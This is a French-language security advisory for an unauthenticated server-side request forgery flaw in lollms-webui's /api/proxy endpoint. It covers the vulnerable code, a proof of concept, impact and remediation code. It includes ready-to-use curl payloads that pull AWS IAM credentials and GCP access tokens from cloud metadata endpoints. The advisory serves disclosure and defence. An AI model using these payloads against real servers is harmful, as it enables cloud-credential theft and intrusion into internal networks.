CVE-2026-33340 : SSRF dans lollms-webui

Aperçu

Champ	Détail
CVE ID	CVE-2026-33340
Vulnérabilité	Server-Side Request Forgery (SSRF)
Produit affecté	ParisNeo/lollms-webui (LoLLMs WEBUI)
Sévérité	Critique — CVSS 9.1
Vecteur CVSS	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`
CWE	CWE-918 : Server-Side Request Forgery (SSRF)
Composant affecté	`lollms_core/lollms/server/endpoints/lollms_apps.py`
Endpoint vulnérable	`/api/proxy`
Avis de sécurité	GHSA-mcwr-5469-pxj4
NVD	Entrée NVD
SentinelOne	Analyse SentinelOne
Découvert par	Regaan R — ROT Independent Security Research Lab

Résumé

Une vulnérabilité critique de type Server-Side Request Forgery (SSRF) a été identifiée dans lollms-webui, l'interface web de Lord of Large Language and Multi modal Systems. L'endpoint @router.post("/api/proxy") permet à des attaquants non authentifiés de forcer le serveur à effectuer des requêtes GET arbitraires. Cela peut être exploité pour accéder à des services internes, scanner des réseaux locaux ou exfiltrer des métadonnées cloud sensibles telles que les jetons IAM AWS/GCP.

Produit affecté

Dépôt : ParisNeo/lollms-webui / ParisNeo/lollms
Composant affecté : lollms_core/lollms/server/endpoints/lollms_apps.py (Lignes 443-450)
Endpoint vulnérable : /api/proxy
Versions affectées : toutes les versions existantes connues

Analyse de la cause racine

La vulnérabilité existe car la fonction proxy dans lollms_apps.py n'implémente pas d'authentification ni aucune forme de validation d'URL/domaine. Elle accepte une chaîne d'URL brute fournie par l'utilisateur et la transmet directement à un client HTTP asynchrone.

Code vulnérable

@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
    try:
        async with httpx.AsyncClient() as client:
            # No check_access() call — unauthenticated
            # No URL validation — arbitrary destinations
            response = await client.get(request.url)
            return {"content": response.text}
    except Exception as e:
        raise HTTPException(status_code=500, detail=str(e))

Ce qui ne va pas

Absence d'authentification : L'endpoint n'appelle pas check_access(lollmsElfServer, request.client_id) ni aucun middleware d'authentification, ce qui permet à tout utilisateur non authentifié de l'invoquer.
Absence de validation d'URL : L'URL fournie par l'utilisateur est transmise directement à httpx.AsyncClient().get() sans vérifier la destination par rapport à une liste blanche ni bloquer les plages d'adresses IP privées/internes.
Divulgation complète de la réponse : Le corps de la réponse HTTP entier est renvoyé à l'appelant via {"content": response.text}, ce qui permet une exfiltration complète des données.

Preuve de concept

Étape 1 — Mise en place d'un service interne simulé

echo "INTERNAL_SECRET_DATA" > secret.txt
python3 -m http.server 8888

Étape 2 — Exploitation de la SSRF

curl -X POST http://localhost:9600/api/proxy \
     -H "Content-Type: application/json" \
     -d '{"url": "http://localhost:8888/secret.txt"}'

Étape 3 — Observation de la réponse

{"content": "INTERNAL_SECRET_DATA\n"}

Le serveur a récupéré le fichier depuis le service interne et a renvoyé son contenu à l'attaquant.

Exploitation des métadonnées cloud

# AWS IMDSv1 — Retrieve IAM credentials
curl -X POST http://<target>:9600/api/proxy \
     -H "Content-Type: application/json" \
     -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

# GCP — Retrieve access token
curl -X POST http://<target>:9600/api/proxy \
     -H "Content-Type: application/json" \
     -d '{"url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}'

Impact

Scénario	Description
Vol d'identifiants cloud	Les attaquants sur les plateformes cloud (AWS/GCP/Azure) peuvent accéder à `http://169.254.169.254/` pour récupérer les métadonnées d'instance, les identifiants IAM et les jetons d'accès — ce qui conduit à une compromission totale du compte cloud.
Pivotement vers le réseau interne	Les attaquants peuvent sonder des bases de données internes, des API, des panneaux d'administration et des interfaces de gestion non exposés à l'internet public.
Accès aux services localhost	Les attaquants peuvent atteindre les services liés à `localhost` (Redis, Elasticsearch, API Docker, consoles de bases de données) qui font implicitement confiance au trafic local.
Scan de ports internes	La SSRF peut être utilisée pour énumérer les ports ouverts et les services en cours d'exécution sur le réseau interne en observant les temps de réponse et les messages d'erreur.
Exfiltration de données	Toute donnée accessible via HTTP à portée du réseau du serveur peut être lue et renvoyée à l'attaquant.

Déroulement de l'attaque

Attacker                         lollms-webui Server                    Internal Network
   |                                    |                                      |
   |  POST /api/proxy                   |                                      |
   |  {"url": "http://169.254..."}      |                                      |
   |----------------------------------->|                                      |
   |                                    |  GET http://169.254.169.254/...      |
   |                                    |------------------------------------->|
   |                                    |                                      |
   |                                    |  200 OK (IAM credentials)            |
   |                                    |<-------------------------------------|
   |                                    |                                      |
   |  {"content": "<credentials>"}      |                                      |
   |<-----------------------------------|                                      |

Remédiation proposée

1. Ajouter l'authentification

@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
    check_access(lollmsElfServer, request.client_id)  # Add this
    # ...

2. Implémenter la validation d'URL

from urllib.parse import urlparse
import ipaddress

BLOCKED_RANGES = [
    ipaddress.ip_network("127.0.0.0/8"),
    ipaddress.ip_network("10.0.0.0/8"),
    ipaddress.ip_network("172.16.0.0/12"),
    ipaddress.ip_network("192.168.0.0/16"),
    ipaddress.ip_network("169.254.0.0/16"),  # Cloud metadata
]

def is_safe_url(url: str) -> bool:
    parsed = urlparse(url)
    hostname = parsed.hostname
    if hostname in ("localhost", ""):
        return False
    try:
        ip = ipaddress.ip_address(hostname)
        return not any(ip in network for network in BLOCKED_RANGES)
    except ValueError:
        # Hostname is a domain — resolve and check
        import socket
        resolved = socket.gethostbyname(hostname)
        ip = ipaddress.ip_address(resolved)
        return not any(ip in network for network in BLOCKED_RANGES)

3. Restreindre aux domaines de la liste blanche

ALLOWED_DOMAINS = ["api.example.com", "cdn.example.com"]

CVE-2026-33340

Populaires